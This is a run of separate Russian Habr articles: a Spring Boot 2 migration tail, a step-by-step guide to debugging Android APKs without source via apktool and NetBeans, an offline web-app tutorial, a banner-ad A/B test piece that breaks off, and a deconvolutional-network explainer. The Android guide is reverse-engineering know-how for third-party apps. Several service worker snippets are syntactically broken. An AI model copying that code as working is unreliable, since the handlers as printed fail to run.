* [New Relic](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-newrelic)
* [Prometheus](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-prometheus)
* [SignalFx](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-signalfx)
* [Simple (in-memory)](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-simple)
* [StatsD](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-statsd)
* [Wavefront](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-wavefront)
Больше информации о Micrometer по ссылке <https://micrometer.io/>.
Апгрейд из-за этого может оказаться болезненным для тех, кто логирует тонны кастомных метрик.
#### Quartz Scheduler
В Spring Boot 2 есть поддержка библиотеки исполнения задач по расписанию Quartz, которую легко добавить при помощи стартера spring-boot-starter-quartz. Поддерживается работа на оперативной памяти и на JDBC.
```
org.springframework.boot
spring-boot-starter-quartz
```
#### HikariCP Connection Pool
Стандартный пул соединений изменился с Tomcat на HikariCP. Если вы использовали spring.datasource.type, чтобы заставить Hikari работать в приложении Tomcat, можете его убрать. Аналогично, если вы хотите продолжить пользоваться пулом Tomcat, просто добавьте к вашей конфигурации следующее:
```
spring.datasource.type=org.apache.tomcat.jdbc.pool.DataSource
```
#### Инструменты разработчика
По умолчанию при каждом перезапуске приложения записывается отчет о различии конфигураций. Другими словами, отчет показывает изменения в авто-конфигурации приложения, возникающие по мере введения вами таких изменений, как удаление/добавление бинов и настройка параметров конфигурации.
Чтобы отключить запись этого отчета, настройте следующий параметр:
```
spring.devtools.restart.log-condition-evaluation-delta=false
```
#### Поддержка Kotlin
Ранее в этой статье упоминалось об официальной поддержке Kotlin. Также есть [специализированный блок документации по Kotlin](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/boot-features-kotlin.html).
#### JUnit 5
Как уже говорилось выше, в приложениях на Spring Boot по умолчанию все еще используется JUnit 4. Если вы хотите перейти на JUnit 5, нужно исключить JUnit 4 из spring-boot-starter-test и добавить необходимые зависимости. Также понадобятся плагины из списка ниже.
```
org.springframework.boot
spring-boot-starter-test
test
junit
junit
org.junit.jupiter
junit-jupiter-api
test
org.junit.jupiter
junit-jupiter-engine
test
org.springframework.boot
spring-boot-maven-plugin
org.apache.maven.plugins
maven-surefire-plugin
org.junit.platform
junit-platform-surefire-provider
${junit-platform.version}
```
#### Руководство по переходу на Spring Boot 2
Думаю, можно не говорить о настолько очевидном факте, что при таком крупном релизе просто сменить номер версии в продакшене — не лучший способ апгрейда. В первую очередь я бы посоветовал прочитать [Spring Boot 2.0 Migration Guide](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-2.0-Migration-Guide). Лично я нашел решение большинства своих проблем в упрощенной модели безопасности и изменениях параметров. В этом гайде есть замечательные советы по переносу файлов параметров.
*В Spring Boot 2.0 многие параметры конфигурации были переименованы/удалены, и разработчикам необходимо обновить `application.properties`/`application.yml` с учетом этих изменений. Для облегчения этой задачи в Spring Boot реализована поставка нового модуля `spring-boot-properties-migrator`. Будучи добавленным к вашему проекту в качестве зависимости, он не только будет анализировать среду приложения и выводить результаты диагностики при запуске, но также временно мигрирует параметры в рантайме. Это необходимое действие при миграции приложения:*
```
org.springframework.boot
spring-boot-properties-migrator
```
Не знаю, что вы об этом думаете, а я точно начну возиться с Spring Boot 2 и работать над миграцией кода на эту версию, но обычно при любом основном релизе я жду выпуска следующей минорной версии. Это касается не только Spring, но и других брендов от Apple до Pivotal и даже Angry Birds! | https://habr.com/ru/post/438980/ | null | ru | null |
# Отладка приложений для Android без исходного кода на Java
#### О чем статья
В этой статье я сжато, без «воды», расскажу как отлаживать приложения для Android не имея их исходного кода на Java. Статья не совсем для новичков. Она пригодиться прежде всего тем кто более или менее понимает синтаксис [Smali](http://code.google.com/p/smali/) и имеет некоторый опыт в reversing engineering приложений для Android.
#### Инструменты
Нам понадобится [Apk-tool 1.4.1](http://code.google.com/p/android-apktool/downloads/detail?name=apktool1.4.1.tar.bz2&can=1&q=) и [NetBeans 6.8](http://netbeans.org/downloads/6.8/index.html). Да-да, именно эти древние версии! С более новыми версиями отладка к сожалению «не заводится», о чем уже неоднократно упоминалось в различных обсуждениях (см. например [тут](http://code.google.com/p/android-apktool/issues/detail?id=339&q=dima&colspec=ID%20Stars%20Type%20Status%20Priority%20Milestone%20Owner%20Summary) и [тут](https://groups.google.com/forum/?fromgroups=#!topic/apktool/ryBHd29ikBA)).
На установке подробно не останавливаюсь. NetBeans устанавливается по умолчанию, просто запускам инсталляцию и кликаем Next-Next-Next. Установка Apk-tools заключается в обычной распаковке файла `apktool.jar` в любую папку.
Также по ходу дела нам понадобится DDMS — он есть в Android SDK.
#### Отладка
В этом разделе дана пошаговая инструкция. Она писалась для Windows, но вероятно сработает и на Linux и Mac OS. Черновик этой инструкции на английском также есть у меня в блоге, но ссылку не дам, ибо правила. Эта инструкция более или менее повторяет [оригинальную инструкцию](http://code.google.com/p/android-apktool/wiki/SmaliDebugging) с Apk-tool wiki, однако содержит некоторые дополнительные пункты, без которых отладка может «не завестись». В своё время у меня не заводилась, и я нашел эти дополнительные пункты методом усиленного гугления и «научного тыка». Надеюсь, теперь мой опыт кому-то сэкономит время.
Пожалуйста, следуйте инструкции в точности – это важно!
1. Декодируйте свой .apk файл в директорию `out` с помощью Apk-tool. Для этого используйте опцию `-d`:
```
java -jar apktool.jar d -d my.app.apk out
```
В результате в директории `out/smali` у вас будет куча .java файлов с закомментированным Smali кодом внутри. Это нормально, так и должно быть.
2. Добавьте атрибут `android:debuggable="true"` в секцию файла `out/AndroidManifest.xml`
3. Соберите директорию `out` обратно в .apk файл:
```
java -jar apktool.jar b -d out my.app.to.debug.apk
```
4. Подпишите файл `my.app.to.debug.apk` и установите его на реальное устройство или эмулятор, на котором вы собираетесь его отлаживать.
5. Удалите директорию `out/build` (она может помешать создать проект на шаге 6 и 7).
6. Запустите NetBeans, кликните «File» -> «New Project». Выберите «Java» -> «Java Project with Existing Sources». Кликните «Next».
7. Укажите `out` в качестве «Project Folder». Кликните «Next».
8. Добавьте директорию `out/smali` в список «Source Package Folder». Кликните «Next», а затем «Finish». В результате в проект будут добавлены те самые .java файлы с закомментированным Smali кодом внутри.
9. Запустите `my.app.to.debug.apk` на реальном устройстве или эмуляторе (если вы используете реальное устройство, то убедитесь что оно подключено к вашему компьютеры с помощью USB кабеля и ваша система его «видит»).
10. Запустите DDMS, найдите своё приложение в списке и кликните на него. Запомните информацию в последней колонке, это номер порта, обычно что-то вроде `86xx/8700`.
11. В Netbeans кликните «Debug» -> «Attach Debugger» -> выберите «JPDA» и введите в поле «Port» `8700` (или какой там номер порта у вас был на предыдущем шаге). Остальные поля оставте без изменений. Кликните «OK».
12. Теперь вы можете отлаживать приложение: на панели Netbeans станет можно кликать на соответствующие кнопки
13. Установите breakpoint на интересующую вас инструкцию (да-да, на одну из тех инструкция из закомментированного Smali кода внутри тех самых .java файлов о которых я уже дважды до этого упоминал). Помните, что вы не можете устанавливать breakpoints на строчки начинающиеся с ".", ":" или "#". Только на инструкции Smali кода!
14. Сделайте что-нибудь в приложении, что бы ваша breakpoint сработала. После этого вы сможете делать пошаговую отладку, просматривать значения полей и переменных и т.д.
Вот и всё, если вкратце.
#### Подводные камни
Без подвоха тут конечно никак. Обычно всё идёт хорошо, строго по инструкции, аж до шага 13. А вот на шаге 13 люди часто ставят breakpoint в самом начале кода приложения: например в методе `onCreate(...)` в activity с которой начинается выполнение приложения. Оно вроде бы и логично – если не совсем понятно откуда начинать отлаживать приложение, лучше начинать с самого начала. Однако в большинстве случаев дело не идёт. Отлаживаемое приложение работает себе как ни в чем не бывало, а подлый breakpoint в `onCreate(...)` ни в какую не желает срабатывать.
Это происходит из-за того что мы подсоединяем отладчик к уже работающему приложению. Это значит код в начале приложения (например в том же методе onCreate в activity с которой начинается выполнение приложения) уже выполнился, и ставить на него breakpoint'ы как правило (хотя не всегда конечно) бесполезно. Более того, когда мы присоединяем отладчик к работающему приложению, оно не останавливается пока не сработает наш breakpoint или пока мы его сами не остановим – об этом моменте также стоит помнить.
В своей [следующей статье](http://habrahabr.ru/post/150862/) я показываю трюк, который позволяет отлаживать Java приложения для Android без исходного кода с самого начала, т.е. именно с того самого первого метода `onCreate(...)` (или даже конструктора) в activity с которой начинается выполнение приложения.
Если есть вопросы – пожалуйста задавайте их в комментариях или в личных сообщениях. Постараюсь ответить по-возможности оперативно, но если буду тупить – пожалуйста наберитесь терпения. Постараюсь ответить всем.
Happy debugging! | https://habr.com/ru/post/150825/ | null | ru | null |
# Как заставить ваши веб-приложения работать в автономном режиме
*Сила JavaScript и браузерного API*
Мир становится все более взаимосвязанным — число людей, имеющих доступ к Интернету, выросло до [4,5 миллиардов](https://www.internetworldstats.com/stats.htm).
Но в этих данных не отражено количество людей, у которых медленное или неисправное интернет соединение. Даже в Соединенных Штатах [4,9 миллиона домов](https://arstechnica.com/information-technology/2017/06/50-million-us-homes-have-only-one-25mbps-internet-provider-or-none-at-all/) не могут получить проводной доступ к интернету скорость которого будет более 3 мегабит в секунду.
Остальной мир — те, кто имеет надежный доступ к Интернету — все еще подвержен потере соединения. [Некоторые факторы](https://developers.google.com/web/fundamentals/instant-and-offline/offline-ux), которые могут повлиять на качество сетевого подключения, включают в себя:
* Плохое покрытие от провайдера.
* Экстремальные погодные условия.
* Перебои питания.
* Пользователи, попадающие в «мертвые зоны», такие как здания, которые блокируют их сетевые подключения.
* Путешествие на поезде и проезд туннелей.
* Соединения, которые управляются третьей стороной и ограничены во времени.
* Культурные практики, которые требуют ограниченного или отсутствия доступа в Интернет в определенное время или дни.
Учитывая это, ясно, что мы должны учитывать автономный опыт при разработке и создании приложений.
> [](https://www.edsd.ru/ "EDISON Software - web-development")
>
> Статья переведена при поддержке компании EDISON Software, которая [выполняет «на отлично» заказы из Южного Китая](https://www.edsd.ru/ru/o_kompanii/novosti/desyat-plyusov-edison), а также [разрабатывает веб-приложения и сайты](https://www.edsd.ru/ru/proekty/sozdaniye_saytov).
Недавно у меня была возможность добавить автономность к существующему приложению, используя service workers, cache storage и IndexedDB. Техническая работа, необходимая для того, чтобы приложение работало в автономном режиме, сводилась к четырем отдельным задачам, о которых я расскажу в этом посте.
### Service Workers
Приложения, созданные для работы в автономном режиме, не должны сильно зависеть от сети. Концептуально это возможно только в том случае, если в случае сбоя существуют запасные варианты.
При ошибке загрузки веб-приложения, мы должны где-то взять ресурсы для браузера(HTML/CSS/JavaScript). Откуда берутся эти ресурсы, если не из сетевого запроса? Как насчет кеша. Большинство людей согласятся с тем, что лучше предоставлять потенциально устаревший пользовательский интерфейс, чем пустую страницу.
Браузер постоянно делает запросы к данным. Служба кэширования данных в качестве запасного варианта все еще требует, чтобы мы каким-то образом перехватывали запросы браузера и писали правила кэширования. Здесь service workers вступают в игру — думайте о них как о посреднике.
Service worker — это просто файл JavaScript, в котором мы можем подписаться на события и написать свои собственные правила для кэширования и обработки сетевых сбоев.
Давайте начнем.
**Обратите внимание: наше демо приложение**
На протяжении всего этого поста мы будем добавлять автономные функции в демо приложение. Демо-приложение представляет собой простую страницу взятия/сдачи книг в библиотеке. Прогресс будет представлен в виде серии GIF-файлов, и использования офлайн симуляции Chrome DevTools.
Вот начальное состояние:
### Задача 1 — Кэширование статических ресурсов
Статические ресурсы — это ресурсы, которые меняются не часто. HTML, CSS, JavaScript и изображения могут попадать в эту категорию. Браузер пытается загрузить статические ресурсы с помощью запросов, которые могут быть перехвачены service worker’ом.
Начнем с регистрации нашего service worker’a.
```
if ('serviceWorker' in navigator) {
window.addEventListener('load', function() {
navigator.serviceWorker.register('/sw.js');
});
}
```
Service worker'ы являются [web worker'ами](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Using_web_workers) под капотом и поэтому должны быть импортированы из отдельного файла JavaScript. Регистрация происходит с помощью метода `register` после загрузки сайта.
Теперь, когда у нас загружен service worker — давайте закешируем наши статические ресурсы.
```
var CACHE_NAME = 'my-offline-cache';
var urlsToCache = [
'/',
'/static/css/main.c9699bb9.css',
'/static/js/main.99348925.js'
];
self.addEventListener('install', function(event) {
event.waitUntil(
caches.open(CACHE_NAME)
.then(function(cache) {
return cache.addAll(urlsToCache);
})
);
});
```
Поскольку мы контролируем URL-адреса статических ресурсов, мы можем их кэшировать сразу после инициализации service worker’a используя `Cache Storage`.
Теперь, когда наш кэш заполнен самыми последними запрашиваемыми статическими ресурсами, давайте загружать эти ресурсы из кэша в случае сбоя запроса.
```
self.addEventListener('fetch', function(event) {
event.respondWith(
fetch(event.request).catch(function() {
caches.match(event.request).then(function(response) {
return response;
}
);
);
});
```
Событие `fetch` запускается каждый раз, когда браузер делает запрос. Наш новый обработчик события `fetch` теперь имеет дополнительную логику для возврата кэшированных ответов в случае сбоев сети.
### Демо № 1
Наше демо-приложение теперь может обслуживать статические ресурсы в автономном режиме! Но где наши данные?
### Задача 2 — Кэширование динамических ресурсов
Одностраничные приложения (SPA) обычно запрашивают данные постепенно после начальной загрузки страницы, и наше демо приложение не является исключением — список книг не загружается сразу. Эти данные обычно поступают из запросов XHR, которые возвращают ответы, которые часто меняются, чтобы предоставить новое состояние приложения — таким образом, они являются динамическими.
Кэширование динамических ресурсов на самом деле очень похоже на кэширование статических ресурсов — главное отличие состоит в том, что нам нужно обновлять кэш чаще. Генерировать полный список всех возможных динамических запросов XHR также довольно сложно, поэтому мы будем их кэшировать по мере их поступления, а не иметь заранее определенный список, как мы делали для статических ресурсов.
Посмотрим на наш обработчик `fetch`:
```
self.addEventListener('fetch', function(event) {
event.respondWith(
fetch(event.request).catch(function() {
caches.match(event.request).then(function(response) {
return response;
}
);
);
});
```
Мы можем настроить эту реализацию, добавив немного кода, который кэширует успешные запросы и ответы. Это гарантирует, что мы постоянно добавляем новые запросы в наш кеш и постоянно обновляем кэшированные данные.
```
self.addEventListener('fetch', function(event) {
event.respondWith(
fetch(event.request)
.then(function(response) {
caches.open(CACHE_NAME).then(function(cache) {
cache.put(event.request, response);
});
})
.catch(function() {
caches.match(event.request).then(function(response) {
return response;
}
);
);
});
```
Наш `Cache Storage` в настоящее время имеет несколько записей.
### Демо № 2
Наше демо теперь выглядит одинаково при начальной загрузке, независимо от нашего статуса сети!
Отлично. Давайте теперь попробуем использовать наше приложение.
К сожалению — сообщения об ошибках везде. Похоже, все наши взаимодействия с интерфейсом не работают. Я не могу выбрать или сдать книгу! Что нужно исправить?
### Задача 3 — Построить оптимистичный пользовательский интерфейс
На данный момент проблема с нашим приложением заключается в том, что наша логика сбора данных все еще сильно зависит от сетевых ответов. Действие check-in или check-out отправляет запрос на сервер и ожидает успешного ответа. Это отлично для согласованности данных, но плохо для нашего автономного опыта.
Чтобы эти взаимодействия работали в автономном режиме, нам нужно сделать наше приложение более [оптимистичным](https://uxplanet.org/optimistic-1000-34d9eefe4c05). Оптимистичные взаимодействия не требуют ответа от сервера и охотно отображают обновленное представление данных. Обычная оптимистичная операция в большинстве веб-приложений это `delete` — почему бы не дать пользователю мгновенную обратную связь, если у нас уже есть вся необходимая информация?
Отключение нашего приложения от сети с использованием оптимистичного подхода является относительно простой в реализации.
```
case CHECK_OUT_SUCCESS:
case CHECK_OUT_FAILURE:
list = [...state.list];
list.push(action.payload);
return {
...state,
list,
};
case CHECK_IN_SUCCESS:
case CHECK_IN_FAILURE;
list = [...state.list];
for (let i = 0; i < list.length; i++) {
if (list[i].id === action.payload.id) {
list.splice(i, 1, action.payload);
}
}
return {
...state,
list,
};
```
Ключ — обрабатывать действия пользователя одинаково — независимо от того, успешен ли сетевой запрос или нет. Приведенный выше фрагмент кода взят из redux редюсера нашего приложения, `SUCCESS` и `FAILURE` запускается в зависимости от доступности сети. Независимо от того, как выполнен сетевой запрос, мы собираемся обновить наш список книг.
### Демо № 3
Взаимодействие с пользователем теперь происходит онлайн (не буквально). Кнопки «check-in» и «check-out» обновляют интерфейс соответствующим образом, хотя по красным сообщениям консоли видно, что сетевые запросы не выполняются.
Хорошо! Есть только одна небольшая проблема с оптимистичным рендерингом в автономном режиме…
Разве мы не теряем наши изменения!?
### Задача 4 — Собирать действия пользователя в очередь для синхронизации
Нам нужно отслеживать действия, совершенные пользователем, когда он был в автономном режиме, чтобы мы могли синхронизировать их с нашим сервером, когда пользователь вернется в сеть. В браузере есть несколько механизмов хранения, которые могут выступать в качестве очереди действий, и мы собираемся использовать IndexedDB. IndexedDB предоставляет несколько вещей, которые вы не получите от LocalStorage:
* Асинхронные неблокирующие операции
* Значительно более высокие лимиты хранения
* Управление транзакциями
Посмотрите на наш старый код редюсера:
```
case CHECK_OUT_SUCCESS:
case CHECK_OUT_FAILURE:
list = [...state.list];
list.push(action.payload);
return {
...state,
list,
};
case CHECK_IN_SUCCESS:
case CHECK_IN_FAILURE;
list = [...state.list];
for (let i = 0; i < list.length; i++) {
if (list[i].id === action.payload.id) {
list.splice(i, 1, action.payload);
}
}
return {
...state,
list,
};
```
Давайте изменим его, чтобы хранить события check-in и check-out в IndexedDB при событии `FAILURE`.
```
case CHECK_OUT_FAILURE:
list = [...state.list];
list.push(action.payload);
addToDB(action); // QUEUE IT UP
return {
...state,
list,
};
case CHECK_IN_FAILURE;
list = [...state.list];
for (let i = 0; i < list.length; i++) {
if (list[i].id === action.payload.id) {
list.splice(i, 1, action.payload);
addToDB(action); // QUEUE IT UP
}
}
return {
...state,
list,
};
```
Вот реализация создания IndexedDB вместе с хелпером `addToDB`.
```
let db = indexedDB.open('actions', 1);
db.onupgradeneeded = function(event) {
let db = event.target.result;
db.createObjectStore('requests', { autoIncrement: true });
};
const addToDB = action => {
var db = indexedDB.open('actions', 1);
db.onsuccess = function(event) {
var db = event.target.result;
var objStore = db
.transaction(['requests'], 'readwrite')
.objectStore('requests');
objStore.add(action);
};
};
```
Теперь, когда все наши автономные действия пользователя хранятся в памяти браузера, мы можем использовать слушатель события браузера `online`, чтобы синхронизировать данные, когда соединение восстановится.
```
window.addEventListener('online', () => {
const db = indexedDB.open('actions', 1);
db.onsuccess = function(event) {
let db = event.target.result;
let objStore = db
.transaction(['requests'], 'readwrite')
.objectStore('requests');
objStore.getAll().onsuccess = function(event) {
let requests = event.target.result;
for (let request of requests) {
send(request); // sync with the server
}
};
};
});
```
На этом этапе мы можем очистить очередь от всех запросов, которые мы успешно отправили на сервер.
### Демо № 4
Финальное демо выглядит немного сложнее. Справа в темном терминальном окне регистрируется вся активность API. Демо предполагает выход в автономный режим, выбор нескольких книг и возврат в онлайн.
Ясно, что запросы сделанные в автономном режиме были поставлены в очередь и отправляются разом, когда пользователь возвращается в онлайн.
Этот подход «воспроизведения» немного наивный — например, нам, вероятно, не нужно делать два запроса, если мы берем и возвращаем одну и ту же книгу. Это также не будет работать, если несколько человек используют одно и то же приложение.
### Это всё
Выйдите и сделайте ваши веб-приложения способным работать в автономном режиме! Этот пост демонстрирует некоторые из многих вещей, которые вы можете сделать, чтобы добавить автономные возможности в свои приложения, и определенно не является исчерпывающим.
Чтобы узнать больше, ознакомьтесь с [Google Web Fundamentals](https://developers.google.com/web/fundamentals/instant-and-offline/offline-cookbook). Чтобы увидеть другую офлайн-реализацию, ознакомьтесь с [этим докладом](https://www.youtube.com/watch?v=YFrCEbx1oW0). | https://habr.com/ru/post/474374/ | null | ru | null |
# Ущерб от баннерной рекламы
Очевидно, баннерная реклама раздражает пользователей. Но насколько сильно? Возможно, она настолько всех бесит, что доход от рекламы не стоит потерь в трафике. А возможно, и нет. Если коротко — даже единственный небольшой баннер снижает трафик примерно на 10%. Подробный анализ — под катом.
КОММЕНТАРИЙ ПЕРЕВОДЧИКА*Эта статья - сильно сокращённый перевод оригинального текста. Я не добавлял ничего от себя, но удалил подробности статистического анализа, большую часть обзора литературы (это были в основном пересказы статей, на которые ссылается автор) и результаты опроса на тему того, почему люди не пользуются адблоком (в зависимости от формулировки вопроса 23-71% отвечают, что не знают, что это такое; некоторые не могут его поставить, потому что не разбираются в компах или потому что админ на работе не разрешает).*
Что мне особенно нравится в [gwern.net](https://www.gwern.net), особенно по сравнению с остальным Интернетом, — так это скорость загрузки и отрисовки страницы. Поэтому в моих прежних [A/B-тестах](https://www.gwern.net/AB-testing) я в основном проверял всякие изменения в CSS, не влияющие на скорость работы. А что на неё влияет? Как выяснилось, тормозят преимущественно Google AdSense (над заголовком раньше висел баннер средних размеров) и комментарии Disqus.
Комментарии я удалять не хочу. Заменить Disqus тоже особо не на что: хоть мне и не нравится тот объём некешируемого JS, который он подтягивает, я не знаю другой системы для комментов с нормальным антиспамом и сравнимым числом пользователей. К тому же он нормально работал пять с лишним лет, так что не вижу большой необходимости что-то менять.
А вот AdSense — другое дело. Я им пользуюсь только потому, что он приносит мне немного денег (~30$ в месяц, ~360$ в год; могло бы быть больше, но примерно 60% моих читателей пользуются AdBlock). Так что поэкспериментировать с рекламой будет довольно интересно: это и один из самых тяжеловесных элементов страницы, и повод поиграться с теорией принятия решений (посчитать пороги и [EVSI](https://en.wikipedia.org/wiki/Expected_value_of_sample_information)), и приложение для Байесовского анализа временных серий в JAGS/Stan, и вообще проверка того, насколько A/B-тесты хороши для таких серьёзных вопросов.
### Эффекты рекламы: глобальные и локальные
Прежде всего, доход от рекламы довольно невелик — значительно меньше, чем мне приносит [Patreon](https://www.patreon.com/gwern). Если я теряю, скажем, 10% трафика и влияния из-за лагов или раздражающего баннера, то тридцать баксов в месяц явно того не стоят.
Классические A/B-тесты с разделением пользователей на подгруппы часто критикуют за то, что они не позволяют увидеть лес за деревьями и дают абсолютно точный ответ на бесполезный вопрос. Да, изменение увеличивает рассматриваемые метрики типа времени на странице или числа кликов, но не причиняет ли оно сайту или сообществу вред, заметный только в макромасштабе? Не получится ли так, что ущерб от каждого конкретного изменения будет копеечным или вообще статистически незначимым, но все вместе они превратят сайт не пойми во что?
Поэтому в качестве метрики я буду использовать общий суточный трафик. Он описывает скорее привлекательность сайта в целом, чем качество конкретной страницы, и зависит в том числе и от того, сколько ссылок на мой сайт было выложено в данный день в социальных сетях. [Известно](https://news.ycombinator.com/item?id=15484861), что для A/B-тестирования в контексте социальных сетей нельзя просто показать половине пользователей одну версию страницы, a второй половине — другую. Поскольку люди в социальных сетях взаимодействуют друг с другом, их активность не является независимой и не подлежит простому статистическому анализу типа t-тестов. Надо сперва выделять крупные группы пользователей (например, связные подграфы), которые будут приблизительно независимыми друг от друга, и гонять тесты уже на них. Поскольку я не могу выделять такие группы среди посетителей сайта, остаётся менять версии каждый день (или неделю) и смотреть, как это повлияет на трафик.
Менять страницы вручную, конечно, не хочется. Даже не столько потому, что это мартышкин труд — кеширование может привести к тому, что исследуемые группы пользователей перемешаются. Так что временной A/B-тест делается вот как: перед вызовом AdSense JS надо вставить какое-нибудь условие типа “если номер дня в году (1-366) mod 2 равно нулю, то не показывать рекламу”, а через несколько месяцев вытащить трафик за каждый день из Google Analytics. Так как логика тестирования находится на клиенте, кеширование ни на что не влияет. Использование JS тоже не проблема, так как люди с отключенным JavaScript в любом случае не видят рекламу. Ну и поскольку распространение ссылок в социальных сетях — дело достаточно медленное, то нужно менять сайт не раз в сутки, а раз в пару дней.
### Имплементация
Всё просто: я скопипастил откуда-то код для получения номера дня, сгенерировал 366 нулей и единиц (группами по два) и показываю рекламу, если для дня с соответствующим номером в моём массиве единица:
```
``` | https://habr.com/ru/post/549778/ | null | ru | null |
# Deconvolutional Neural Network
Использование классических нейронных сетей для распознавания изображений затруднено, как правило, большой размерностью вектора входных значений нейронной сети, большим количеством нейронов в промежуточных слоях и, как следствие, большими затратами вычислительных ресурсов на обучение и вычисление сети. Сверточным нейронным сетям в меньшей степени присущи описанные выше недостатки.
Свёрточная нейронная сеть (англ. [*convolutional neural network*](http://en.wikipedia.org/wiki/Convolutional_neural_network), *CNN*) — специальная архитектура искусственных нейронных сетей, предложенная Яном Лекуном и нацеленная на эффективное распознавание изображений, входит в состав технологий глубокого обучения (англ. [*deep leaning*](http://en.wikipedia.org/wiki/Deep_learning)). Эта технология построена по аналогии с принципами работы [зрительной коры](https://ru.wikipedia.org/wiki/%D0%97%D1%80%D0%B8%D1%82%D0%B5%D0%BB%D1%8C%D0%BD%D0%B0%D1%8F_%D0%BA%D0%BE%D1%80%D0%B0) головного мозга, в которой были открыты так называемые простые клетки, реагирующие на прямые линии под разными углами, и сложные клетки, реакция которых связана с активацией определённого набора простых клеток. Таким образом, идея сверточных нейронных сетей заключается в чередовании сверточных слоев (англ. *convolution layers*) и субдискретизирующих слоев (англ. *subsampling layers*, слоёв подвыборки).[6]
Рис 1. Архитектура сверточной нейронной сети
Ключевым моментом в понимании сверточных нейронных сетей является понятие так называемых «разделяемых» весов, т.е. часть нейронов некоторого рассматриваемого слоя нейронной сети может использовать одни и те же весовые коэффициенты. Нейроны, использующие одни и те же веса, объединяются в карты признаков (*feature maps*), а каждый нейрон карты признаков связан с частью нейронов предыдущего слоя. При вычислении сети получается, что каждый нейрон выполняет свертку ([операцию конволюции](http://en.wikipedia.org/wiki/Convolution)) некоторой области предыдущего слоя (определяемой множеством нейронов, связанных с данным нейроном). Слои нейронной сети, построенные описанным образом, называются сверточными слоями. Помимо, сверточных слоев в сверточной нейронной сети могут быть слои субдискретизации (выполняющие функции уменьшения размерности пространства карт признаков) и полносвязные слои (выходной слой, как правило, всегда полносвязный). Все три вида слоев могут чередоваться в произвольном порядке, что позволяет составлять карты признаков из карт признаков, а это на практике означает способность распознавания сложных иерархий признаков [3].
Что же именно влияет на качество распознавания образов при обучении сверточных нейронных сетей? Озадачившись данным вопросом, наткнулись на статью Мэттью Зайлера ([*Matthew Zeiler*](http://www.matthewzeiler.com/)). Он разработал концепцию и технологию *Deconvolutional Neural Networks* (*DNN*) для понимания и анализа работы свероточных нейронных сетей. В статье Мэттью Зайлера предлагается технология *Deconvolutional Neural Network*s, которая осуществляет построение иерархических представлений изображения (рис 2), с учетом фильтров и параметров, полученных при обучении *CNN* (Рис 2). Эти представления могут быть использованы как для решения задач первичной обработки сигналов, таких как шумоподавление, а также они могут обеспечивать низкоуровневые функции для распознавания объектов. Каждый уровень иерархии может формировать более сложные функции на основе функций уровней, расположенных в иерархии ниже.
Рис 2. Представления изображений
Основным различием между *CNN* и *DNN* является то, что в *CNN* входной сигнал подвергается нескольким слоям свертки и субдискретизации. *DNN* наоборот стремится сгенерировать входной сигнал в виде суммы сверток карт признаков с учетом применяемых фильтров (Рис 3). Для решения данной задачи, используется широкий спектр инструментов теории распознавания образов, например алгоритмы устранения размытости (*deblurring*). Работа, написанная Мэттью Зайлером, является попыткой связать распознавание объектов изображения с низкоуровневыми задачами и алгоритмами обработки и фильтрации данных.
Для понимания операции свертки требуется интерпретация поведения карт признаков в промежуточных слоях. Для исследования сверточной нейронной сети, *DNN* прикрепляется к каждому из его слоев, как показано на рис.3, обеспечивая непрерывный путь от выходов сети к входным пикселям изображения. Сначала, над входным изображением выполняется операция свертки и по всем слоям вычисляются карты признаков, после чего для изучения поведения в *CNN* устанавливаются значения весов всех нейронов в слое равными нулю и полученные карты признаков используются в качестве входных параметров для прилагаемого deconvnet слоя. Тогда мы последовательно выполняем операции: (I) разъединения, (II) ректификация и (III) фильтрация. Карты признаков в слое ниже реконструируются таким образом, чтобы получить необходимые параметры, такие как веса нейронов в слое и применяемые фильтры. Данная операция повторяется до тех пор, пока не будут достигнуты значения входных пикселей изображения.
Рис 3. Процесс исследования сверточных нейронных сетей с использованием *DNN*
Операция разъединения: в сверточных нейронных сетях, это операция объединения, она является необратимой, однако можно получить приближенное обратное значение путем записи местоположения максимумов в пределах каждой области. Под операцией объединения понимается суммирование всех входных значений нейрона и передача полученной суммы в передаточную функцию нейрона. В *DNN*, операция разъединения использует изменения в наборе переменных, размещенных в слое выше, в соответствующих местах в слое, который обрабатывается в данный момент (см. рис 2).
Операция ректификация: сверточная нейронная сеть использует нелинейную функцию (*relu(x)=max(x,0)*, где x-входное изображение), обеспечивая тем самым то, что полученные карты признаков всегда будут положительными.
Операция фильтрация: сверточная нейронная сеть использует полученные в процессе обучения сети фильтры для свертки карт признаков из предыдущего слоя. Чтобы понять какие фильтры были применены к изображению, deconvnet использует транспонированные версии тех же фильтров. Проектирование “спуска вниз” с более высоких уровней использует изменения параметров, полученных при обучении *CNN*. Поскольку эти изменения свойственны данному входному изображению, реконструкция, полученная из одной функций, таким образом, напоминает маленький кусочек начального изображения со структурами (рис 4), взвешенными в соответствии с их вкладом в карту признаков. Так как модель обучается в соответствии с выявленными признаками, они, структуры, неявно показывают, какие части входного изображения (или части двух разных изображений) являются отличающимися по полученным признакам[4]. Также, полученные структуры позволяют делать выводы о том, какие низкоуровневые признаки изображения являются ключевыми для его классификации.
Рис. 4. Структуры изображения.
Хотя в теории глобальный минимум всегда можно найти, на практике это сложно. Это связано с тем, что элементы в картах признаков соединены друг с другом через фильтры. Одним элементом в карте могут быть затронуты другие элементы, расположенные далеко от данного элемента, а это означает, что минимизация может занять очень много времени.
Преимущества использования *DNN*:
1) концептуально простые схемы обучения. Обучение *DNN* производится за счет использования unpooling, ректификации и фильтрации изображения, так же используются карты признаков, полученные при обучении *CNN*;
2) применяя *DNN* к исходным изображениям, можно получить большой набор фильтров, которые охватывают всю структуру изображения, используя примитивные представления; Таким образом, получаются фильтры, применяемые ко всему изображению, а не к каждому маленькому кусочку исходного изображения. Это является большим преимуществом, так как появляется более полное понимание процессов происходящих при обучении *CNN*.
